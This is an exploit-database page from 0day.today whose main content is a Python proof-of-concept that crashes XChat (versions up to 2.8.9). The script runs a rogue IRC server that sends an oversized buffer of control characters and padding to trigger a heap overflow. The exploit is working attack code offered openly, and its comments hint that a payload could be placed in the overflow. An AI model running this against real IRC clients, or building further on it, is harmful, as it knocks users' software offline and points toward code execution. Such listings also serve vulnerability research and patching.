0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
XChat Heap Overflow DoS
#!/usr/bin/python # Exploit Title: XChat Heap Overflow DoS Proof of Concept # Date: June 2011 # Author: th3p4tri0t # Software Link: http://xchat.org/ # Version: <= 2.8.9 # This only works on XChat on KDE, I'm not sure about windows. # It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5 # It is a heap overflow and is some sort of error with X Windows # It uses 1537 (this is the minimum) of the ascii value 20 # after this, an unknown number of any other character (did not check for special # characters) is required to trigger a crash, presumably the payload will go here. # th3p4tri0t import socket print "XChat PoC Exploit by th3p4tri0t\n" print "Creating server..." sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print " [*] Binding to socket..." sock.bind(('127.0.0.1', 6667)) print " [*] Listening on socket..." sock.listen(5) print " [*] Accepting connection..." (target, address) = sock.accept() print " [*] Sending payload..." buffer = "hybrid7.debian.local " buffer += chr(20) * 1537 # minimum required of this character buffer += "A"*4000 # anything can go here and it still works. buffer += " :*\r\n" target.send(buffer) target.close sock.close # 0day.today [2024-07-08] #